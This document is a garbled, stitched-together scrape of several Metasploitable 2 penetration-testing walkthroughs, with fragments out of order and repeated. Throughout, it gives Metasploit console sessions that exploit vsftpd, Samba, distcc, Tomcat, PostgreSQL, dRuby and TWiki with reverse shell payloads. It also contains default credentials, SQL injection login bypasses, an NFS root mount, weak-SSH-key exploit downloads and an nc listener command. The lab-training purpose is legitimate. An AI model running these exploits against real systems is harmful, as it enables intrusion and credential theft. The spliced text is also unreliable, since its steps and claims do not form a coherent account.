DATABASE template1 yes The database to authenticate against The following sections describe the requirements and instructions for setting up a vulnerable target. Within Metasploitable edit the following file via command: Next change the following line then save the file: In Kali Linux bring up the Mutillidae web application in the browser as before and click the Reset DB button to re-initialize the database. You can do so by following the path: Applications Exploitation Tools Metasploit. For network clients, it acknowledges and runs compilation tasks. Exploiting Samba Vulnerability on Metasploit 2 The screenshot below shows the results of running an Nmap scan on Metasploitable 2. Unlike other vulnerable virtual machines, Metasploitable focuses on vulnerabilities at the operating system and network services layer instead of custom, vulnerable . ---- --------------- -------- ----------- [*] Writing payload executable (274 bytes) to /tmp/rzIcSWveTb [*] Writing exploit executable (1879 bytes) to /tmp/DQDnKUFLzR CVE-2017-5231. msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat Exploit target: DVWA is PHP-based using a MySQL database and is accessible using admin/password as login credentials. Additionally three levels of hints are provided ranging from "Level 0 - I try harder" (no hints) to "Level 2 - noob" (Maximum hints). msf exploit(tomcat_mgr_deploy) > set RPORT 8180 SRVHOST 0.0.0.0 yes The local host to listen on. uname -a [*] Uploaded as /tmp/uVhDfWDg.so, should be cleaned up automatically msf exploit(distcc_exec) > show options Module options (exploit/multi/samba/usermap_script): In addition to these system-level accounts, the PostgreSQL service can be accessed with username postgres and password postgres, while the MySQL service is open to username root with an empty password. So I'm going to exploit 7 different remote vulnerabilities , here are the list of vulnerabilities. Every CVE Record added to the list is assigned and published by a CNA. This is the action page, SQL injection and XSS via the username, signature and password field, Contains directories that are supposed to be private, This page gives hints about how to discover the server configuration, Cascading style sheet injection and XSS via the color field, Denial of Service if you fill up the logXSS via the hostname, client IP, browser HTTP header, Referer HTTP header, and date fields, XSS via the user agent string HTTP header. LPORT 4444 yes The listen port Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. Module options (exploit/unix/webapp/twiki_history): root 2768 0.0 0.1 2092 620 ? msf exploit(tomcat_mgr_deploy) > set LHOST 192.168.127.159 [*] Started reverse double handler msf exploit(distcc_exec) > set payload cmd/unix/reverse VHOST no HTTP server virtual host A reinstall of Metasploit was next attempted: Following the reinstall the exploit was run against with the same settings: This seemed to be a partial success a Command Shell session was generated and able to be invoked via the sessions 1 command. Starting Nmap 6.46 (, msf > search vsftpd payload => cmd/unix/reverse A Computer Science portal for geeks. Here are the outcomes. Individual web applications may additionally be accessed by appending the application directory name onto http:// to create URL http:////. msf auxiliary(telnet_version) > show options Metasploitable 2 has deliberately vulnerable web applications pre-installed. rapid7/metasploitable3 Wiki. Step 5: Display Database User. We will do this by hacking FTP, telnet and SSH services. This allows remote access to the host for convenience or remote administration. It is intended to be used as a target for testing exploits with metasploit. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. Inject the XSS on the register.php page.XSS via the username field, Parameter pollutionGET for POSTXSS via the choice parameterCross site request forgery to force user choice. Module options (exploit/unix/ftp/vsftpd_234_backdoor): First of all, open the Metasploit console in Kali. This set of articles discusses the RED TEAM's tools and routes of attack. The VictimsVirtual Machine has been established, but at this stage, some sets are required to launch the machine. . You'll need to take note of the inet address. [*] Writing to socket B You can connect to a remote MySQL database server using an account that is not password-protected. RHOST 192.168.127.154 yes The target address [+] Found netlink pid: 2769 RPORT 3632 yes The target port We have found the following appropriate exploit: TWiki History TWikiUsers rev Parameter Command Execution. The list is organized in an interactive table (spreadsheet) with the most important information about each module in one row, namely: Exploit module name with a brief description of the exploit List of platforms and CVEs (if specified in the module) The applications are installed in Metasploitable 2 in the /var/www directory. msf > use exploit/multi/misc/java_rmi_server Commands end with ; or \g. whoami Name Current Setting Required Description Module options (auxiliary/scanner/smb/smb_version): [+] 192.168.127.154:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres' DB_ALL_PASS false no Add all passwords in the current database to the list LHOST => 192.168.127.159 Thus, we can infer that the port is TCP Wrapper protected. USERNAME postgres yes The username to authenticate as Exploit target: There was however an error generated though this did not stop the ability to run commands on the server including ls -la above and more: Whilst we can consider this a success, repeating the exploit a few times resulted in the original error returned. SMBUser no The username to authenticate as [*] Reading from socket B USERNAME no The username to authenticate as Copyright (c) 2000, 2021, Oracle and/or its affiliates. The command will return the configuration for eth0. Below is the homepage served from the web server on Metasploitable and accessed via Firefox on Kali Linux: Features of DVWA v1.0.7 accessible from the menu include: A More Info section is included on each of the vulnerability pages which contains links to additional resources about the vulnerability. Module options (exploit/unix/irc/unreal_ircd_3281_backdoor): Please check out the Pentesting Lab section within our Part 1 article for further details on the setup. It requires VirtualBox and additional software. Ultimately they all fall flat in certain areas. Cross site scripting via the HTTP_USER_AGENT HTTP header. It is freely available and can be extended individually, which makes it very versatile and flexible. Eventually an exploit . However, we figured out that we could use Metasploit against one of them in order to get a shell, so were going to detail that here. We can escalate our privileges using the earlier udev exploit, so were not going to go over it again. This tutorial shows how to install it in Ubuntu Linux, how it works, and what you can do with this powerful security auditing tool. More investigation would be needed to resolve it. msf exploit(tomcat_mgr_deploy) > show option 865.1 MB. Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit.This set of articles discusses the RED TEAM's tools and routes of attack. For instance, to use native Windows payloads, you need to pick the Windows target. This could allow more attacks against the database to be launched by an attacker. Step 1:Type the Virtual Machine name (Metasploitable-2) and set the Type: Linux. Below is a list of the tools and services that this course will teach you how to use. [*] Command: echo f8rjvIDZRdKBtu0F; Id Name Name Current Setting Required Description In order to proceed, click on the Create button. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by. ---- --------------- -------- ----------- -- ---- We are interested in the Victim-Pi or 192.168.1.95 address because that is a Raspberry Pi and the target of our attack.. Our attacking machine is the kali-server or 192.168.1.207 Raspberry Pi. STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host List of known vulnerabilities and exploits . You can edit any TWiki page. root [*] Command shell session 2 opened (192.168.127.159:4444 -> 192.168.127.154:33383) at 2021-02-06 23:03:13 +0300 Module options (exploit/multi/samba/usermap_script): msf exploit(drb_remote_codeexec) > show options -- ---- set PASSWORD postgres [*] Reading from sockets -- ---- exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent VSFTPD v2.3.4 Backdoor Command Execution, msf > use exploit/unix/ftp/vsftpd_234_backdoor Module options (auxiliary/admin/http/tomcat_administration): Module options (exploit/linux/misc/drb_remote_codeexec): msf exploit(unreal_ircd_3281_backdoor) > show options Once Metasploitable 2 is up and running and you have the IP address (mine will be 10.0.0.22 for this walkthrough), then you want to start your scan. RHOST => 192.168.127.154 We can now look into the databases and get whatever data we may like. Browsing to http://192.168.56.101/ shows the web application home page. msf2 has an rsh-server running and allowing remote connectivity through port 513. In the current version as of this writing, the applications are. What is Metasploit This is a tool developed by Rapid7 for the purpose of developing and executing exploits against vulnerable systems. The payload is uploaded using a PUT request as a WAR archive comprising a jsp application. Alternatively, you can also use VMWare Workstation or VMWare Server. [*] 192.168.127.154:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP) True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0. Name Current Setting Required Description S /tmp/run The interface looks like a Linux command-line shell. Perform a ping of IP address 127.0.0.1 three times. msf auxiliary(tomcat_administration) > set RHOSTS 192.168.127.154 Effectively what happens is that the Name validation is made to always be true by closing off the field with a single quote and using the OR operator. ---- --------------- -------- ----------- Attackers can implement arbitrary commands by defining a username that includes shell metacharacters. msf exploit(usermap_script) > set payload cmd/unix/reverse On Linux multiple commands can be run after each other using ; as a delimiter: These results are obtained using the following string in the form field: The above string breaks down into these commands being executed: The above demonstrates that havoc could be raised on the remote server by exploiting the above vulnerability. Name Disclosure Date Rank Description For further details beyond what is covered within this article, please check out the Metasploitable 2 Exploitability Guide. Select Metasploitable VM as a target victim from this list. RHOST 192.168.127.154 yes The target address [*] Accepted the second client connection Id Name RHOST 192.168.127.154 yes The target address [*] Writing to socket B Accessing it is easy: In addition to the malicious backdoors in the previous section, some services are almost backdoors by their very nature. :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname The Nessus scan exposed the vulnerability of the TWiki web application to remote code execution. Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. -- ---- Do you have any feedback on the above examples or a resolution to our TWiki History problem? Then we looked for an exploit in Metasploit, and fortunately, we got one: Distributed Ruby Send instance_eval/syscall Code Execution. This module takes advantage of the RMI Registry and RMI Activation Services default configuration, allowing classes to be loaded from any remote URL (HTTP). The main purpose of this vulnerable application is network testing. THREADS 1 yes The number of concurrent threads Module options (exploit/unix/ftp/vsftpd_234_backdoor): First, whats Metasploit? If so please share your comments below. This method is used to exploit VNC software hosted on Linux or Unix or Windows Operating Systems with authentication vulnerability. [*] Accepted the first client connection msf exploit(distcc_exec) > exploit Since this is a mock exercise, I leave out the pre-engagement, post-exploitation and risk analysis, and reporting phases. We chose to delve deeper into TCP/5900 - VNC and used the Metasploit framework to brute force our way in with what ended up being a very weak . ---- --------------- -------- ----------- If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state. Set the SUID bit using the following command: chmod 4755 rootme. Now we narrow our focus and use Metasploit to exploit the ssh vulnerabilities. ---- --------------- -------- ----------- Back on the Login page try entering the following SQL Injection code with a trailing space into the Name field: The Login should now work successfully without having to input a password! [*] Command shell session 4 opened (192.168.127.159:8888 -> 192.168.127.154:33966) at 2021-02-06 23:51:01 +0300 msf exploit(drb_remote_codeexec) > exploit Metasploit Discover target information, find vulnerabilities, attack and validate weaknesses, and collect evidence. USERPASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line Highlighted in red underline is the version of Metasploit. We can't check every single IP out there for vulnerabilities so we buy (or download) scanners and have them do the job for us. Start/Stop Stop: Open services.msc. So lets try out every port and see what were getting. . RPORT => 445 msf exploit(drb_remote_codeexec) > set URI druby://192.168.127.154:8787 LHOST yes The listen address Metasploitable is a Linux virtual machine which we deliberately make vulnerable to attacks. msf exploit(postgres_payload) > set LHOST 192.168.127.159 This Command demonstrates the mount information for the NFS server. The primary administrative user msfadmin has a password matching the username. RHOST yes The target address The vulnerability present in samba 3.x - 4.x has several vulnerabilities that can be exploited by using Metasploit module metasploit module: exploit/multi/samba/usermap_script set RHOST- your Remote machine IP then exploit finally you got a root access of remote machine. RHOST => 192.168.127.154 The vulnerability being demonstrated here is how a backdoor was incorporated into the source code of a commonly used package, namely vsftp. Exploit target: tomcat55, msf > use exploit/linux/misc/drb_remote_codeexec Metasploitable Networking: [*] Started reverse double handler Here is the list of remote server databases: information_schema dvwa metasploit mysql owasp10 tikiwiki tikiwiki195. Working with the Vulnerability Validation Wizard, Validating Vulnerabilities Discovered by Nexpose, Social Engineering Campaign Details Report, Single Password Testing MetaModule Report, Understanding the Credentials Domino MetaModule Findings, Segmentation and Firewall Testing MetaModule, Managing the Database from the Pro Console, Metasploit service can"t bind to port 3790, Items Displaying Incorrectly After Update, Installation failed: Signature failure Error, Use Meterpreter Locally Without an Exploit, Issue Restarting on Windows Due to RangeError, Social Engineering Campaigns Report Image Broken, Social Engineering Campaign Taking a Long Time, Downloading and Setting Up Metasploitable 2, Identifying Metasploitable 2's IP Address, https://information.rapid7.com/metasploitable-download.html, https://sourceforge.net/projects/metasploitable/. PASSWORD => postgres To access official Ubuntu documentation, please visit: Lets proceed with our exploitation. This virtual machine (VM) is compatible with VMWare, VirtualBox, and other common virtualization platforms. now you can do some post exploitation. USERNAME => tomcat msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat Loading of any arbitrary web page on the Interet or locally including the sites password files.Phishing, SQL injection to dump all usernames and passwords via the username field or the password fieldXSS via any of the displayed fields. -- ---- [+] 192.168.127.154:5432 Postgres - Success: postgres:postgres (Database 'template1' succeeded.) The problem with this service is that an attacker can easily abuse it to run a command of their choice, as demonstrated by the Metasploit module usage below. TOMCAT_USER no The username to authenticate as To access the web applications, open a web browser and enter the URL http:// where is the IP address of Metasploitable 2. msf auxiliary(postgres_login) > run This must be an address on the local machine or 0.0.0.0 msf exploit(java_rmi_server) > exploit Exploit target: Exploit target: [*] A is input XSS via logged in user name and signatureThe Setup/reset the DB menu item can be enabled by setting the uid value of the cookie to 1, DOM injection on the add-key error message because the key entered is output into the error message without being encoded, You can XSS the hints-enabled output in the menu because it takes input from the hints-enabled cookie value.You can SQL injection the UID cookie value because it is used to do a lookupYou can change your rank to admin by altering the UID valueHTTP Response Splitting via the logged in user name because it is used to create an HTTP HeaderThis page is responsible for cache-control but fails to do soThis page allows the X-Powered-By HTTP headerHTML commentsThere are secret pages that if browsed to will redirect user to the phpinfo.php page. To download Metasploitable 2, visitthe following link. ---- --------------- -------- ----------- msf exploit(vsftpd_234_backdoor) > show options [*] Accepted the second client connection [*] Accepted the second client connection [*] Writing to socket A msf exploit(postgres_payload) > exploit Sources referenced include OWASP (Open Web Application Security Project) amongst others. msf exploit(twiki_history) > set RHOST 192.168.127.154 Step 2: Vulnerability Assessment. Andrea Fortuna. A demonstration of an adverse outcome. So, lets set it up: mkdir /metafs # this will be the mount point, mount -t nfs 192.168.127.154:/ /metafs -o nolock # mount the remote shared directory as nfs and disable file locking. At a minimum, the following weak system accounts are configured on the system. Id Name Step 4: Display Database Version. SSLCert no Path to a custom SSL certificate (default is randomly generated) From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the Nmap Security Scanner. Exploit target: Exploit target: msf exploit(unreal_ircd_3281_backdoor) > exploit root. RETURN_ROWSET true no Set to true to see query result sets whoami NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services. [*] Reading from socket B [-] Exploit failed: Errno::EINVAL Invalid argument PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used) This will provide us with a system to attack legally. The root directory is shared. [*] Reading from sockets One way to accomplish this is to install Metasploitable 2 as a guest operating system in Virtual Box and change the network interface settings from "NAT" to "Host Only". In our testing environment, the IP of the attacking machine is 192.168.127.159, and the victim machine is 192.168.127.154. Set Version: Ubuntu, and to continue, click the Next button. ---- --------------- -------- ----------- Metasploitable 2 is a straight-up download. Return to the VirtualBox Wizard now. These are the default statuses which can be changed via the Toggle Security and Toggle Hints buttons. Exploit target: Before running it, you need to download the pre-calculated vulnerable keys from the following links: http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2 (RSA keys), http://www.exploit-db.com/sploits/debian_ssh_dsa_1024_x86.tar.bz2 (DSA keys), ruby ./5632.rb 192.168.127.154 root ~/rsa/2048/. ssh -l root -p 22 -i 57c3115d77c56390332dc5c49978627a-5429 192.168.127.154. Tip How to use Metasploit commands and exploits for pen tests These step-by-step instructions demonstrate how to use the Metasploit Framework for enterprise vulnerability and penetration testing. nc -vv -l -p 5555 < 8572, sk Eth Pid Groups Rmem Wmem Dump Locks [*] Reading from socket B Id Name RPORT 139 yes The target port Name Current Setting Required Description To make this step easier, both Nessus and Rapid7 NexPose scanners are used locate potential vulnerabilities for each service. Remote code execution vulnerabilities in dRuby are exploited by this module. msf exploit(twiki_history) > exploit -- ---- Welcome to the MySQL monitor. At first, open the Metasploit console and go to Applications Exploit Tools Armitage. Module options (auxiliary/scanner/postgres/postgres_login): Metasploitable is a Linux virtual machine that is intentionally vulnerable. [*] Command shell session 2 opened (192.168.127.159:4444 -> 192.168.127.154:54381) at 2021-02-06 17:31:48 +0300 Metasploitable 2 Full Guided Step by step overview. Exploit target: BLANK_PASSWORDS false no Try blank passwords for all users =================== RHOST => 192.168.127.154 msf exploit(java_rmi_server) > show options [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:46653) at 2021-02-06 22:23:23 +0300 Name Current Setting Required Description Compatible Payloads Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). The nmap command uses a few flags to conduct the initial scan. [*] Banner: 220 (vsFTPd 2.3.4) Utilizing login / password combinations suggested by theUSER FILE, PASS FILE and USERPASS FILE options, this module tries to validate against a PostgreSQL instance. Module options (exploit/linux/postgres/postgres_payload): During that test we found a number of potential attack vectors on our Metasploitable 2 VM. Lets see what that implies first: TCP Wrapper is a host-based network access control system that is used in operating systems such as Linux or BSD for filtering network access to Internet Protocol (IP) servers. Proxies no Use a proxy chain RHOSTS => 192.168.127.154 RHOSTS => 192.168.127.154 It is also instrumental in Intrusion Detection System signature development. In this demonstration we are going to use the Metasploit Framework (MSF) on Kali Linux against the TWiki web app on Metasploitable. msf exploit(distcc_exec) > show options The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. [*] B: "VhuwDGXAoBmUMNcg\r\n" Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. Exploit target: Once we get a clear vision on the open ports, we can start enumerating them to see and find the running services alongside their version. [*] Matching To have over a dozen vulnerabilities at the level of high on severity means you are on an . Metasploitable 2 is a deliberately vulnerable Linux installation. Getting started Least significant byte first in each pixel. whoami Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit. msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp PASSWORD no The Password for the specified username msf auxiliary(tomcat_administration) > show options Exploit target: With the udev exploit, We'll exploit the very same vulnerability, but from inside Metasploit this time: Step 3: Set the memory size to 512 MB, which is adequate for Metasploitable2. msf auxiliary(smb_version) > show options All right, there are a lot of services just awaitingour consideration. SQLi and XSS on the log are possibleGET for POST is possible because only reading POSTed variables is not enforced. [*] Started reverse handler on 192.168.127.159:8888 On metasploitable there were over 60 vulnerabilities, consisting of similar ones to the windows target. This must be an address on the local machine or 0.0.0.0 Nessus, OpenVAS and Nexpose VS Metasploitable. Type help; or \h for help. now i just started learning about penetration testing, unfortunately now i am facing a problem, i just installed GVM / OpenVas version 21.4.1 on a vm with kali linux 2020.4 installed, and in the other vm i have metasploitable2 installed both vm network are set with bridged, so they can ping each other because they are on the same network. Id Name This version contains a backdoor that went unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any listening port. URI yes The dRuby URI of the target host (druby://host:port) Id Name -- ---- msf exploit(vsftpd_234_backdoor) > show payloads So, as before with MySQL, it is possible to log into this database, but we have checked for the available exploits of Metasploit and discovered one which can further the exploitation: The Postgresaccount may write to the /tmp directory onsome standard Linux installations of PostgreSQL and source the UDF Shared Libraries om there, enabling arbitrary code execution. Reference: Nmap command-line examples msf exploit(vsftpd_234_backdoor) > exploit Metasploitable3 is a VM that is built from the ground up with a large amount of security vulnerabilities. [*] Accepted the second client connection Thus, this list should contain all Metasploit exploits that can be used against Linux based systems. Payload options (cmd/unix/interact): Additionally, an ill-advised PHP information disclosure page can be found at http:///phpinfo.php. The FTP server has since been fixed but here is how the affected version could be exploited: In the previous section we identified that the FTP service was running on port 21, so lets try to access it via telnet: This vulnerability can also be exploited using the Metasploit framework using the VSFTPD v2.3.4 Backdoor Command Execution. NetlinkPID no Usually udevd pid-1. Module options (exploit/multi/http/tomcat_mgr_deploy): [*] A is input [*] Writing to socket A Name Current Setting Required Description Step 2: Basic Injection. Help Command When running as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. [+] UID: uid=0(root) gid=0(root) For your test environment, you need a Metasploit instance that can access a vulnerable target. In this lab we learned how to perform reconnaissance on a target to discover potential system vulnerabilities. [*] B: "ZeiYbclsufvu4LGM\r\n" [*] A is input A malicious backdoor that was introduced to the Unreal IRCD 3.2.8.1 download archive is exploited by this module. On July 3, 2011, this backdoor was eliminated. msf exploit(drb_remote_codeexec) > set LHOST 192.168.127.159 RHOST => 192.168.127.154 Then we looked for an exploit in Metasploit, and other common platforms! Feedback on the log are possibleGET for POST is possible because only POSTed. Put request as a CGI, PHP up to version 5.3.12 and 5.4.2 is to. Test we found a number of concurrent threads module options ( exploit/unix/ftp/vsftpd_234_backdoor ): root 2768 0.1... Fortunately, we got one: Distributed Ruby Send instance_eval/syscall code execution vulnerabilities in dRuby exploited! Executing exploits against vulnerable systems compatible with VMWare, VirtualBox, and to continue, click Next. 2 has deliberately vulnerable web Applications pre-installed an rsh-server running and allowing remote connectivity through port.. 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